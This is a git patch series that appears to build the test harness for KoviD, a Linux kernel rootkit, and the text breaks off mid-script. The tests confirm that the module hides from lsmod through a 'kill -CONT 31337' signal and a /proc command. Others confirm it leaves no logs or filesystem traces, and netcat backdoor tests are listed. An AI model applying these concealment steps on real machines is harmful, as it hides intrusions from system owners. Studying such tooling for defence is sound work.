From ff5d59aee1f893e019978ec72c056deb9d65088b Mon Sep 17 00:00:00 2001 From: djtodoro Date: Mon, 11 Nov 2024 22:29:06 +0100 Subject: [PATCH 01/23] Add some DEPLOY tests only --- docs/TestFeatures.md | 16 ++++++++++++++++ test/Artefacts/qemu-runner.sh | 17 +++++++++++++++-- test/CMakeLists.txt | 4 +++- test/features/extract-base-address.test | 2 +- test/features/no-kovid-logs-in-deploy.sh | 5 +++++ test/features/no-kovid-logs-in-deploy.test | 6 ++++++ 6 files changed, 46 insertions(+), 4 deletions(-) create mode 100755 test/features/no-kovid-logs-in-deploy.sh create mode 100644 test/features/no-kovid-logs-in-deploy.test diff --git a/docs/TestFeatures.md b/docs/TestFeatures.md index 056d92c..76d5717 100644 --- a/docs/TestFeatures.md +++ b/docs/TestFeatures.md @@ -125,6 +125,14 @@ $ make PROCNAME="myprocname" $ make check-kovid ``` +Run tests in `DEPLOY` mode (some tests are run in this mode only): + +``` +$ cmake ../ -DKOVID_LINUX_VERSION=5.10 -DKERNEL_DIR=projects/private/kovid/linux -DKOVID_LINUX_VERSION=5.10 -DCMAKE_C_COMPILER=gcc -DDEPLOY=1 +$ make PROCNAME="myprocname" DEPLOY=1 +$ make check-kovid +``` + ## Testing status Here are information about testing of the features available. @@ -142,3 +150,11 @@ Here are information about testing of the features available. | Log tty keys and steal passwords over SSH (and FTP)| No (understand bdclient) | None | | Simple persistence using ELF infection with Volundr| No (understand bdclient) | None | | Hide pre-defined network application | Yes | None | + +#### 2.1.1 Testing + +NOTE: If a test should be executed in `DEPLOY` mode only, `.test` file should contain `# DEPLOY_ONLY` marker. + +| Feature | Tested | Regression Test | +| :--------------------------------------------------| :------------------------------| :------------------------------------ | +| No tainted messages/log appear in DEPLOY | Yes | features/no-kovid-logs-in-deploy.test | diff --git a/test/Artefacts/qemu-runner.sh b/test/Artefacts/qemu-runner.sh index 3bfeb86..94d01e8 100755 --- a/test/Artefacts/qemu-runner.sh +++ b/test/Artefacts/qemu-runner.sh @@ -20,6 +20,8 @@ if [[ ! -f "$KERNEL_IMAGE" || ! -f "$ROOT_FS" || ! -f "$KOVID_MODULE" ]]; then exit 1 fi +DEPLOY=${DEPLOY:-0} + # Function to execute each test script on QEMU execute_test_script() { TEST_SCRIPT=$1 # Path to the test script on the host @@ -116,9 +118,20 @@ execute_test_script() { # Loop through each .test file and corresponding script in TEST_DIR for TEST_FILE in "$TEST_DIR"/*.test; do TEST_SCRIPT="${TEST_FILE%.test}.sh" - # Ensure both .test and .sh files exist before running the test + + echo "Deploy: ${DEPLOY}. Note that if DEPLOY is 1, we may run more tests" + if [[ -f "$TEST_FILE" && -f "$TEST_SCRIPT" ]]; then - execute_test_script "$TEST_SCRIPT" + # Check for DEPLOY_ONLY marker + if grep -q '^# DEPLOY_ONLY' "$TEST_FILE"; then + if [[ "$DEPLOY" == "1" ]]; then + execute_test_script "$TEST_SCRIPT" + else + echo "Skipping $(basename "$TEST_SCRIPT") because it requires DEPLOY=1." + fi + else + execute_test_script "$TEST_SCRIPT" + fi else echo "Skipping $(basename "$TEST_SCRIPT") as it or the .test file is missing." fi diff --git a/test/CMakeLists.txt b/test/CMakeLists.txt index 962cdfd..ff2cbd9 100644 --- a/test/CMakeLists.txt +++ b/test/CMakeLists.txt @@ -27,9 +27,11 @@ configure_lit_site_cfg( ${CMAKE_CURRENT_SOURCE_DIR}/lit.cfg.py ) +option(DEPLOY "Turn off ring buffer debug" OFF) + # Define a custom target to run qemu-runner.sh before tests add_custom_target(run-qemu-runner - COMMAND bash ${CMAKE_BINARY_DIR}/qemu-runner.sh + COMMAND DEPLOY=${DEPLOY} bash ${CMAKE_BINARY_DIR}/qemu-runner.sh WORKING_DIRECTORY ${CMAKE_BINARY_DIR} COMMENT "Running qemu-runner.sh" ) diff --git a/test/features/extract-base-address.test b/test/features/extract-base-address.test index b31a77c..2fe202a 100644 --- a/test/features/extract-base-address.test +++ b/test/features/extract-base-address.test @@ -2,4 +2,4 @@ # CHECK: sh: can't kill pid 31337: No such process ## We expect an address like `55e648a65000` -# CHECK: 55{{.*}} +# CHECK: 5{{.*}} diff --git a/test/features/no-kovid-logs-in-deploy.sh b/test/features/no-kovid-logs-in-deploy.sh new file mode 100755 index 0000000..bf4f957 --- /dev/null +++ b/test/features/no-kovid-logs-in-deploy.sh @@ -0,0 +1,5 @@ +#!/bin/sh + +insmod kovid.ko +dmesg +rmmod kovid.ko diff --git a/test/features/no-kovid-logs-in-deploy.test b/test/features/no-kovid-logs-in-deploy.test new file mode 100644 index 0000000..5f6ba03 --- /dev/null +++ b/test/features/no-kovid-logs-in-deploy.test @@ -0,0 +1,6 @@ +# DEPLOY_ONLY + +# RUN: FileCheck-18 --input-file=%kovid_testdir/no-kovid-logs-in-deploy.log %s + +# CHECK-NOT: kv +# CHECK: rmmod: can't unload module 'kovid': No such file or directory From 852a460b048b9648c0e9d54f3540f60d6dfab59c Mon Sep 17 00:00:00 2001 From: djtodoro Date: Tue, 12 Nov 2024 16:40:15 +0100 Subject: [PATCH 02/23] test: Check if kovid can be found in /var /sys etc --- docs/TestFeatures.md | 1 + test/features/no-kovid-found.sh | 10 ++++++++++ test/features/no-kovid-found.test | 6 ++++++ 3 files changed, 17 insertions(+) create mode 100644 test/features/no-kovid-found.sh create mode 100644 test/features/no-kovid-found.test diff --git a/docs/TestFeatures.md b/docs/TestFeatures.md index 76d5717..01dcbc7 100644 --- a/docs/TestFeatures.md +++ b/docs/TestFeatures.md @@ -158,3 +158,4 @@ NOTE: If a test should be executed in `DEPLOY` mode only, `.test` file should co | Feature | Tested | Regression Test | | :--------------------------------------------------| :------------------------------| :------------------------------------ | | No tainted messages/log appear in DEPLOY | Yes | features/no-kovid-logs-in-deploy.test | +| kovid (DEPLOY) doesn't appear in /var /sys etc. | Yes | features/no-kovid-found.test | diff --git a/test/features/no-kovid-found.sh b/test/features/no-kovid-found.sh new file mode 100644 index 0000000..d728e25 --- /dev/null +++ b/test/features/no-kovid-found.sh @@ -0,0 +1,10 @@ +#!/bin/sh + +# Insert the kovid module +insmod kovid.ko 2> /dev/null + +# Search for 'kovid' in critical system directories +find /sys /proc /etc /var -name 'kovid' + +# Attempt to remove the kovid module +rmmod kovid diff --git a/test/features/no-kovid-found.test b/test/features/no-kovid-found.test new file mode 100644 index 0000000..22e9f64 --- /dev/null +++ b/test/features/no-kovid-found.test @@ -0,0 +1,6 @@ +# DEPLOY_ONLY + +# RUN: FileCheck-18 --input-file=%kovid_testdir/no-kovid-found.log %s + +# CHECK-NOT: kovid +# CHECK: rmmod: can't unload module 'kovid': No such file or directory From 2f2ba5e94c7870504e70b1ac36ae04bdf73cecab Mon Sep 17 00:00:00 2001 From: djtodoro Date: Tue, 12 Nov 2024 16:46:17 +0100 Subject: [PATCH 03/23] test: Introduce #DEBUG_ONLY marker --- test/Artefacts/qemu-runner.sh | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) diff --git a/test/Artefacts/qemu-runner.sh b/test/Artefacts/qemu-runner.sh index 94d01e8..23b8dde 100755 --- a/test/Artefacts/qemu-runner.sh +++ b/test/Artefacts/qemu-runner.sh @@ -122,14 +122,26 @@ for TEST_FILE in "$TEST_DIR"/*.test; do echo "Deploy: ${DEPLOY}. Note that if DEPLOY is 1, we may run more tests" if [[ -f "$TEST_FILE" && -f "$TEST_SCRIPT" ]]; then - # Check for DEPLOY_ONLY marker - if grep -q '^# DEPLOY_ONLY' "$TEST_FILE"; then + # Check for DEPLOY_ONLY and DEBUG_ONLY markers + DEPLOY_ONLY_MARKER=$(grep -c '^# DEPLOY_ONLY' "$TEST_FILE") + DEBUG_ONLY_MARKER=$(grep -c '^# DEBUG_ONLY' "$TEST_FILE") + + if [[ "$DEPLOY_ONLY_MARKER" -gt 0 && "$DEBUG_ONLY_MARKER" -gt 0 ]]; then + echo "Skipping $(basename "$TEST_SCRIPT") because it has both DEPLOY_ONLY and DEBUG_ONLY markers." + elif [[ "$DEPLOY_ONLY_MARKER" -gt 0 ]]; then if [[ "$DEPLOY" == "1" ]]; then execute_test_script "$TEST_SCRIPT" else echo "Skipping $(basename "$TEST_SCRIPT") because it requires DEPLOY=1." fi + elif [[ "$DEBUG_ONLY_MARKER" -gt 0 ]]; then + if [[ "$DEPLOY" != "1" ]]; then + execute_test_script "$TEST_SCRIPT" + else + echo "Skipping $(basename "$TEST_SCRIPT") because it's a DEBUG_ONLY test and DEPLOY=1." + fi else + # No marker, run the test regardless of DEPLOY execute_test_script "$TEST_SCRIPT" fi else From 5ab33361874d9c6d12e1935e55d9a0616f215855 Mon Sep 17 00:00:00 2001 From: djtodoro Date: Tue, 12 Nov 2024 16:51:32 +0100 Subject: [PATCH 04/23] docs: Add how-to-write-test --- docs/TestFeatures.md | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/docs/TestFeatures.md b/docs/TestFeatures.md index 01dcbc7..fffec47 100644 --- a/docs/TestFeatures.md +++ b/docs/TestFeatures.md @@ -105,6 +105,19 @@ $ make *** ERROR: PROCNAME is not defined. Please invoke make with PROCNAME="your_process_name". Stop. ``` +### How to Write tests? + +Each test consists of a pair of files: + + 1) Bash Script (.sh file): A shell script that will be transferred to QEMU. It contains the set of commands we want to test. + 2) Expected Output (.test file): A file that contains the expected output for the test, which we use to verify that our feature is working as intended. + +Test Markers: + + - Deploy Mode Tests (# DEPLOY_ONLY): Some tests are run only when the Loadable Kernel Module (LKM) is built in deploy mode. These tests have a .test file marked with # DEPLOY_ONLY at the top. + - Debug Mode Tests (# DEBUG_ONLY): Tests that should only run in debug mode are marked with # DEBUG_ONLY in their .test files. + - If a test does not have any of these marker, it will be run in each mode. + ### Run tests Please make sure to install llvm-tools, since we will be using some of the tools for testing infrastructure: From e55c1f61fb2e0695a7d67a7675bab0db67c81467 Mon Sep 17 00:00:00 2001 From: djtodoro Date: Tue, 12 Nov 2024 17:29:37 +0100 Subject: [PATCH 05/23] Add more tests - Improve docs - Add test for hiding the LKM - Add DEBUG_ONLY tests --- docs/TestFeatures.md | 7 ++++--- test/Artefacts/qemu-runner.sh | 5 ++++- test/features/hide-unhide-module.sh | 19 +++++++++++++++++++ test/features/hide-unhide-module.test | 10 ++++++++++ test/features/no-kovid-found.sh | 0 test/features/no-kovid-found.test | 2 +- test/features/no-kovid-logs-in-deploy.test | 2 +- test/lit.cfg.py | 8 ++++++++ 8 files changed, 47 insertions(+), 6 deletions(-) create mode 100644 test/features/hide-unhide-module.sh create mode 100644 test/features/hide-unhide-module.test mode change 100644 => 100755 test/features/no-kovid-found.sh diff --git a/docs/TestFeatures.md b/docs/TestFeatures.md index fffec47..b0555f7 100644 --- a/docs/TestFeatures.md +++ b/docs/TestFeatures.md @@ -114,8 +114,8 @@ Each test consists of a pair of files: Test Markers: - - Deploy Mode Tests (# DEPLOY_ONLY): Some tests are run only when the Loadable Kernel Module (LKM) is built in deploy mode. These tests have a .test file marked with # DEPLOY_ONLY at the top. - - Debug Mode Tests (# DEBUG_ONLY): Tests that should only run in debug mode are marked with # DEBUG_ONLY in their .test files. + - Deploy Mode Tests (# REQUIRES: DEPLOY_ONLY): Some tests are run only when the Loadable Kernel Module (LKM) is built in deploy mode. These tests have a .test file marked with # DEPLOY_ONLY at the top. + - Debug Mode Tests (# REQUIRES: DEBUG_ONLY): Tests that should only run in debug mode are marked with # DEBUG_ONLY in their .test files. - If a test does not have any of these marker, it will be run in each mode. ### Run tests @@ -166,9 +166,10 @@ Here are information about testing of the features available. #### 2.1.1 Testing -NOTE: If a test should be executed in `DEPLOY` mode only, `.test` file should contain `# DEPLOY_ONLY` marker. +NOTE: If a test should be executed in `DEPLOY` mode only, `.test` file should contain `# REQUIRES: DEPLOY_ONLY` marker. | Feature | Tested | Regression Test | | :--------------------------------------------------| :------------------------------| :------------------------------------ | | No tainted messages/log appear in DEPLOY | Yes | features/no-kovid-logs-in-deploy.test | | kovid (DEPLOY) doesn't appear in /var /sys etc. | Yes | features/no-kovid-found.test | +| Hide/Unhide Module Test in DEBUG Mode | Yes | features/hide-unhide-module.test | diff --git a/test/Artefacts/qemu-runner.sh b/test/Artefacts/qemu-runner.sh index 23b8dde..8979ffa 100755 --- a/test/Artefacts/qemu-runner.sh +++ b/test/Artefacts/qemu-runner.sh @@ -22,6 +22,9 @@ fi DEPLOY=${DEPLOY:-0} +# Export DEPLOY for use in lit +export DEPLOY + # Function to execute each test script on QEMU execute_test_script() { TEST_SCRIPT=$1 # Path to the test script on the host @@ -119,7 +122,7 @@ execute_test_script() { for TEST_FILE in "$TEST_DIR"/*.test; do TEST_SCRIPT="${TEST_FILE%.test}.sh" - echo "Deploy: ${DEPLOY}. Note that if DEPLOY is 1, we may run more tests" + echo "Deploy: ${DEPLOY}. Note that if DEPLOY is 1, we may mark some tests as Unsupported" if [[ -f "$TEST_FILE" && -f "$TEST_SCRIPT" ]]; then # Check for DEPLOY_ONLY and DEBUG_ONLY markers diff --git a/test/features/hide-unhide-module.sh b/test/features/hide-unhide-module.sh new file mode 100644 index 0000000..12ecd67 --- /dev/null +++ b/test/features/hide-unhide-module.sh @@ -0,0 +1,19 @@ +#!/bin/sh + +# Insert the kovid module +insmod kovid.ko + +# Verify that the module is loaded +echo "Checking if kovid module is loaded:" +lsmod | grep kovid + +# The kovid trick +kill -CONT 31337 + +# Hide the module +echo "Hiding the kovid module:" +echo -h > /proc/myprocname + +# Verify that the module is hidden +echo "Checking if kovid module is hidden:" +lsmod | grep kovid diff --git a/test/features/hide-unhide-module.test b/test/features/hide-unhide-module.test new file mode 100644 index 0000000..d873bc9 --- /dev/null +++ b/test/features/hide-unhide-module.test @@ -0,0 +1,10 @@ +# REQUIRES: DEBUG_ONLY +# Test: Hide/Unhide Module Test in DEBUG Mode + +# RUN: FileCheck-18 --input-file=%kovid_testdir/hide-unhide-module.log %s + +# CHECK: Checking if kovid module is loaded: +# CHECK: kovid +# CHECK: Hiding the kovid module: +# CHECK: Checking if kovid module is hidden: +# CHECK-NOT: kovid diff --git a/test/features/no-kovid-found.sh b/test/features/no-kovid-found.sh old mode 100644 new mode 100755 diff --git a/test/features/no-kovid-found.test b/test/features/no-kovid-found.test index 22e9f64..fda8c12 100644 --- a/test/features/no-kovid-found.test +++ b/test/features/no-kovid-found.test @@ -1,4 +1,4 @@ -# DEPLOY_ONLY +# REQUIRES: DEPLOY_ONLY # RUN: FileCheck-18 --input-file=%kovid_testdir/no-kovid-found.log %s diff --git a/test/features/no-kovid-logs-in-deploy.test b/test/features/no-kovid-logs-in-deploy.test index 5f6ba03..f8765d7 100644 --- a/test/features/no-kovid-logs-in-deploy.test +++ b/test/features/no-kovid-logs-in-deploy.test @@ -1,4 +1,4 @@ -# DEPLOY_ONLY +# REQUIRES: DEPLOY_ONLY # RUN: FileCheck-18 --input-file=%kovid_testdir/no-kovid-logs-in-deploy.log %s diff --git a/test/lit.cfg.py b/test/lit.cfg.py index ea456ab..953d1f6 100644 --- a/test/lit.cfg.py +++ b/test/lit.cfg.py @@ -49,3 +49,11 @@ config.substitutions.append(('%FileCheck-18', filecheck_path)) config.substitutions.append(('%not-18', not_path)) config.substitutions.append(("%kovid_testdir", config.kovid_obj_root)) + +# Define available features based on the DEPLOY environment variable +deploy_env = os.environ.get('DEPLOY') + +if deploy_env == '1': + config.available_features.add('DEPLOY_ONLY') +else: + config.available_features.add('DEBUG_ONLY') From cb55290ca85a8fd2d53e77612ffb44cb59489131 Mon Sep 17 00:00:00 2001 From: djtodoro Date: Tue, 12 Nov 2024 17:46:53 +0100 Subject: [PATCH 06/23] test: Use -DDEPLOY in lit.py --- test/lit.cfg.py | 5 +---- test/lit.site.cfg.py.in | 1 + 2 files changed, 2 insertions(+), 4 deletions(-) diff --git a/test/lit.cfg.py b/test/lit.cfg.py index 953d1f6..cdcc249 100644 --- a/test/lit.cfg.py +++ b/test/lit.cfg.py @@ -50,10 +50,7 @@ config.substitutions.append(('%not-18', not_path)) config.substitutions.append(("%kovid_testdir", config.kovid_obj_root)) -# Define available features based on the DEPLOY environment variable -deploy_env = os.environ.get('DEPLOY') - -if deploy_env == '1': +if config.deploy_tests == '1': config.available_features.add('DEPLOY_ONLY') else: config.available_features.add('DEBUG_ONLY') diff --git a/test/lit.site.cfg.py.in b/test/lit.site.cfg.py.in index 092aa86..c2c7bb1 100644 --- a/test/lit.site.cfg.py.in +++ b/test/lit.site.cfg.py.in @@ -1,6 +1,7 @@ @LIT_SITE_CFG_IN_HEADER@ config.kovid_obj_root= "@CMAKE_BINARY_DIR@/" +config.deploy_tests= "@DEPLOY@" import lit.llvm lit.llvm.initialize(lit_config, config) From 062ab5e69827ca38cc669558e32a1bb67c35904e Mon Sep 17 00:00:00 2001 From: djtodoro Date: Thu, 14 Nov 2024 21:24:24 +0100 Subject: [PATCH 07/23] test: No need to load LKM in qemu runner --- test/Artefacts/qemu-runner.sh | 6 ------ 1 file changed, 6 deletions(-) diff --git a/test/Artefacts/qemu-runner.sh b/test/Artefacts/qemu-runner.sh index 8979ffa..deab300 100755 --- a/test/Artefacts/qemu-runner.sh +++ b/test/Artefacts/qemu-runner.sh @@ -72,12 +72,6 @@ execute_test_script() { rm -f "$TEMP_ROOTFS" exit 1 } - ssh -i "$SSH_KEY" -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -p ${SSH_PORT} root@localhost "insmod $RFS_PATH/kovid.ko" || { - echo "Failed to load kovid.ko on QEMU." - kill -SIGTERM "$QEMU_PID" 2>/dev/null - rm -f "$TEMP_ROOTFS" - exit 1 - } echo "Running test script $(basename "$TEST_SCRIPT") on QEMU..." From 5c56ab40b6c98f6eb64946c4b7a1e5dc2263a89c Mon Sep 17 00:00:00 2001 From: djtodoro Date: Sun, 17 Nov 2024 22:08:04 +0100 Subject: [PATCH 08/23] Add backdoor test --- docs/TestFeatures.md | 1 + test/Artefacts/qemu-runner.sh | 294 ++++++++++++++++++++++----- test/backdoors/nc-backdoor.sh | 15 ++ test/backdoors/nc-backdoor.test | 4 + test/backdoors/nc-backdoor_host.sh | 33 +++ test/backdoors/nc-backdoor_host.test | 7 + 6 files changed, 306 insertions(+), 48 deletions(-) create mode 100755 test/backdoors/nc-backdoor.sh create mode 100644 test/backdoors/nc-backdoor.test create mode 100755 test/backdoors/nc-backdoor_host.sh create mode 100644 test/backdoors/nc-backdoor_host.test diff --git a/docs/TestFeatures.md b/docs/TestFeatures.md index b0555f7..e580128 100644 --- a/docs/TestFeatures.md +++ b/docs/TestFeatures.md @@ -127,6 +127,7 @@ sudo apt-get install llvm-18-dev sudo apt-get install llvm-18-tools sudo apt-get install libslirp-dev sudo apt-get install qemu-system-x86 +sudo apt install netcat ``` Run tests: diff --git a/test/Artefacts/qemu-runner.sh b/test/Artefacts/qemu-runner.sh index deab300..31766c4 100755 --- a/test/Artefacts/qemu-runner.sh +++ b/test/Artefacts/qemu-runner.sh @@ -1,6 +1,22 @@ #!/bin/bash -# Define the project root based on the assumed structure relative to the build directory +# Exit immediately if a command exits with a non-zero status +set -e + +# Function to cleanup QEMU and temporary files on exit +cleanup() { + echo "Cleaning up QEMU and temporary files..." + if [[ -n "$QEMU_PID" ]]; then + kill -SIGTERM "$QEMU_PID" 2>/dev/null || true + wait "$QEMU_PID" 2>/dev/null || true + fi + if [[ -f "$TEMP_ROOTFS" ]]; then + rm -f "$TEMP_ROOTFS" + fi +} +trap cleanup EXIT + +# Define the project root based on the script's location PROJECT_ROOT="$(cd "$(dirname "$0")"/.. && pwd)" CMAKE_BINARY_DIR="${PROJECT_ROOT}/build" @@ -8,12 +24,16 @@ CMAKE_BINARY_DIR="${PROJECT_ROOT}/build" KERNEL_IMAGE="${PROJECT_ROOT}/test/test-artefacts/linux-5.10/bzImage" ROOT_FS="${PROJECT_ROOT}/test/test-artefacts/linux-5.10/rootfs.ext2" TEST_DIR="${PROJECT_ROOT}/test/features" +TEST_BACKDOOR_DIR="${PROJECT_ROOT}/test/backdoors" # Directory for backdoor tests RFS_PATH="/root" SSH_PORT=5555 SSH_KEY="${PROJECT_ROOT}/test/Artefacts/id_rsa_qemu" QEMU_FLAGS="-nographic" KOVID_MODULE="${CMAKE_BINARY_DIR}/kovid.ko" +# Ensure SSH key has correct permissions +chmod 600 "$SSH_KEY" + # Check for essential files if [[ ! -f "$KERNEL_IMAGE" || ! -f "$ROOT_FS" || ! -f "$KOVID_MODULE" ]]; then echo "Error: Essential files (bzImage, rootfs.ext2, or kovid.ko) not found." @@ -26,29 +46,30 @@ DEPLOY=${DEPLOY:-0} export DEPLOY # Function to execute each test script on QEMU -execute_test_script() { - TEST_SCRIPT=$1 # Path to the test script on the host - TEST_LOG="$(basename "${TEST_SCRIPT%.sh}.log")" # Log file name on the host +# Parameters: +# $1 - Path to the test script on the host +execute_regular_test_script() { + local TEST_SCRIPT=$1 + local TEST_LOG="$(basename "${TEST_SCRIPT%.sh}.log")" # Create a writable copy of the root filesystem - TEMP_ROOTFS="/tmp/rootfs_writable.ext2" + local TEMP_ROOTFS="/tmp/rootfs_writable_$(basename "$ROOT_FS")" cp "${ROOT_FS}" "${TEMP_ROOTFS}" - # Start QEMU in the background + echo "Starting QEMU in background for test: $(basename "$TEST_SCRIPT")" qemu-system-x86_64 \ -kernel "$KERNEL_IMAGE" \ -append "root=/dev/sda rw console=ttyS0,115200 init=/sbin/init" \ -drive format=raw,file="$TEMP_ROOTFS" \ -device e1000,netdev=net0 \ - -netdev user,id=net0,hostfwd=tcp::${SSH_PORT}-:22 \ - $QEMU_FLAGS &> qemu_output.log & - - QEMU_PID=$! + -netdev user,id=net0,hostfwd=tcp::${SSH_PORT}-:22,hostfwd=tcp::9999-:9999 \ + $QEMU_FLAGS > "qemu_output_$(basename "$TEST_SCRIPT").log" 2>&1 & + local QEMU_PID=$! # Wait for SSH to be available echo "Waiting for QEMU && SSH to be ready..." for i in {1..20}; do - if ssh -i "$SSH_KEY" -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o ConnectTimeout=5 -p ${SSH_PORT} root@localhost 'echo SSH is ready'; then + if ssh -i "$SSH_KEY" -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o ConnectTimeout=5 -p "${SSH_PORT}" root@localhost 'echo SSH is ready' >/dev/null 2>&1; then echo "SSH connection to QEMU established." break fi @@ -57,18 +78,18 @@ execute_test_script() { done # Final check if SSH is still not available - if ! ssh -i "$SSH_KEY" -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o ConnectTimeout=5 -p ${SSH_PORT} root@localhost 'echo SSH is ready'; then + if ! ssh -i "$SSH_KEY" -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o ConnectTimeout=5 -p "${SSH_PORT}" root@localhost 'echo SSH is ready' >/dev/null 2>&1; then echo "Failed to establish SSH connection to QEMU after multiple attempts. Exiting..." - kill -SIGTERM "$QEMU_PID" 2>/dev/null + kill -SIGTERM "$QEMU_PID" 2>/dev/null || true rm -f "$TEMP_ROOTFS" exit 1 fi # Transfer kovid.ko to QEMU and load it - echo "Transferring and loading kovid.ko on QEMU..." - scp -i "$SSH_KEY" -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -P ${SSH_PORT} "$KOVID_MODULE" root@localhost:"$RFS_PATH/kovid.ko" || { + echo "Transferring kovid.ko to QEMU..." + scp -i "$SSH_KEY" -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -P "${SSH_PORT}" "$KOVID_MODULE" root@localhost:"$RFS_PATH/kovid.ko" || { echo "Failed to transfer kovid.ko to QEMU." - kill -SIGTERM "$QEMU_PID" 2>/dev/null + kill -SIGTERM "$QEMU_PID" 2>/dev/null || true rm -f "$TEMP_ROOTFS" exit 1 } @@ -76,17 +97,17 @@ execute_test_script() { echo "Running test script $(basename "$TEST_SCRIPT") on QEMU..." # Transfer the test script to QEMU - scp -i "$SSH_KEY" -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -P ${SSH_PORT} "$TEST_SCRIPT" root@localhost:"$RFS_PATH/$(basename "$TEST_SCRIPT")" || { + scp -i "$SSH_KEY" -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -P "${SSH_PORT}" "$TEST_SCRIPT" root@localhost:"$RFS_PATH/$(basename "$TEST_SCRIPT")" || { echo "Failed to transfer test script $(basename "$TEST_SCRIPT") to QEMU." - kill -SIGTERM "$QEMU_PID" 2>/dev/null + kill -SIGTERM "$QEMU_PID" 2>/dev/null || true rm -f "$TEMP_ROOTFS" exit 1 } # Run the test script on QEMU, capturing output and returning immediately - ssh -i "$SSH_KEY" -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -p ${SSH_PORT} root@localhost "nohup sh -c 'chmod +x $RFS_PATH/$(basename "$TEST_SCRIPT") && $RFS_PATH/$(basename "$TEST_SCRIPT")' > $RFS_PATH/$TEST_LOG 2>&1 &" || { + ssh -i "$SSH_KEY" -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -p "${SSH_PORT}" root@localhost "nohup sh -c 'chmod +x $RFS_PATH/$(basename "$TEST_SCRIPT") && $RFS_PATH/$(basename "$TEST_SCRIPT")' > $RFS_PATH/$TEST_LOG 2>&1 &" || { echo "Failed to execute test script $(basename "$TEST_SCRIPT") on QEMU." - kill -SIGTERM "$QEMU_PID" 2>/dev/null + kill -SIGTERM "$QEMU_PID" 2>/dev/null || true rm -f "$TEMP_ROOTFS" exit 1 } @@ -94,9 +115,10 @@ execute_test_script() { sleep 1 # Wait briefly to ensure the test script starts # Retrieve the log file from QEMU - scp -i "$SSH_KEY" -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -P ${SSH_PORT} root@localhost:"$RFS_PATH/$TEST_LOG" . || { + echo "Retrieving log file $TEST_LOG from QEMU..." + scp -i "$SSH_KEY" -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -P "${SSH_PORT}" root@localhost:"$RFS_PATH/$TEST_LOG" . || { echo "Failed to retrieve log file $TEST_LOG from QEMU." - kill -SIGTERM "$QEMU_PID" 2>/dev/null + kill -SIGTERM "$QEMU_PID" 2>/dev/null || true rm -f "$TEMP_ROOTFS" exit 1 } @@ -104,44 +126,220 @@ execute_test_script() { # Display completion message echo "Test script $(basename "$TEST_SCRIPT") completed. Output saved to $TEST_LOG." - # Cleanup for each test + # Cleanup echo "Cleaning up QEMU for $(basename "$TEST_SCRIPT")..." kill -SIGTERM "$QEMU_PID" 2>/dev/null - wait "$QEMU_PID" 2>/dev/null + wait "$QEMU_PID" 2>/dev/null || true rm -f "$TEMP_ROOTFS" echo "QEMU shut down and temporary files cleaned for $(basename "$TEST_SCRIPT")." } -# Loop through each .test file and corresponding script in TEST_DIR -for TEST_FILE in "$TEST_DIR"/*.test; do - TEST_SCRIPT="${TEST_FILE%.test}.sh" +# Function to execute tests in a given directory +# Parameters: +# $1 - Path to the test directory +execute_regular_tests() { + local DIR=$1 - echo "Deploy: ${DEPLOY}. Note that if DEPLOY is 1, we may mark some tests as Unsupported" + for TEST_FILE in "$DIR"/*.test; do + local TEST_SCRIPT="${TEST_FILE%.test}.sh" - if [[ -f "$TEST_FILE" && -f "$TEST_SCRIPT" ]]; then - # Check for DEPLOY_ONLY and DEBUG_ONLY markers - DEPLOY_ONLY_MARKER=$(grep -c '^# DEPLOY_ONLY' "$TEST_FILE") - DEBUG_ONLY_MARKER=$(grep -c '^# DEBUG_ONLY' "$TEST_FILE") + echo "Deploy: ${DEPLOY}. Note that if DEPLOY is 1, we may mark some tests as Unsupported" - if [[ "$DEPLOY_ONLY_MARKER" -gt 0 && "$DEBUG_ONLY_MARKER" -gt 0 ]]; then - echo "Skipping $(basename "$TEST_SCRIPT") because it has both DEPLOY_ONLY and DEBUG_ONLY markers." - elif [[ "$DEPLOY_ONLY_MARKER" -gt 0 ]]; then - if [[ "$DEPLOY" == "1" ]]; then - execute_test_script "$TEST_SCRIPT" + if [[ -f "$TEST_FILE" && -f "$TEST_SCRIPT" ]]; then + # Check for DEPLOY_ONLY and DEBUG_ONLY markers + local DEPLOY_ONLY_MARKER=$(grep -c '^# DEPLOY_ONLY' "$TEST_FILE") + local DEBUG_ONLY_MARKER=$(grep -c '^# DEBUG_ONLY' "$TEST_FILE") + + if [[ "$DEPLOY_ONLY_MARKER" -gt 0 && "$DEBUG_ONLY_MARKER" -gt 0 ]]; then + echo "Skipping $(basename "$TEST_SCRIPT") because it has both DEPLOY_ONLY and DEBUG_ONLY markers." + elif [[ "$DEPLOY_ONLY_MARKER" -gt 0 ]]; then + if [[ "$DEPLOY" == "1" ]]; then + execute_regular_test_script "$TEST_SCRIPT" + else + echo "Skipping $(basename "$TEST_SCRIPT") because it requires DEPLOY=1." + fi + elif [[ "$DEBUG_ONLY_MARKER" -gt 0 ]]; then + if [[ "$DEPLOY" != "1" ]]; then + execute_regular_test_script "$TEST_SCRIPT" + else + echo "Skipping $(basename "$TEST_SCRIPT") because it's a DEBUG_ONLY test and DEPLOY=1." + fi else - echo "Skipping $(basename "$TEST_SCRIPT") because it requires DEPLOY=1." + # No marker, run the test regardless of DEPLOY + execute_regular_test_script "$TEST_SCRIPT" fi - elif [[ "$DEBUG_ONLY_MARKER" -gt 0 ]]; then - if [[ "$DEPLOY" != "1" ]]; then - execute_test_script "$TEST_SCRIPT" + else + echo "Skipping $(basename "$TEST_SCRIPT") as it or the .test file is missing." + fi + done +} + +# Function to execute each backdoor test +# Parameters: +# $1 - Path to the guest test script on the host +# $2 - Path to the host test script on the host +execute_backdoor_test() { + local GUEST_TEST_SCRIPT=$1 + local HOST_TEST_SCRIPT=$2 + local TEST_LOG_GUEST="$(basename "${GUEST_TEST_SCRIPT%.sh}.log")" + local TEST_LOG_HOST="$(basename "${HOST_TEST_SCRIPT%.sh}.log")" + + # Create a writable 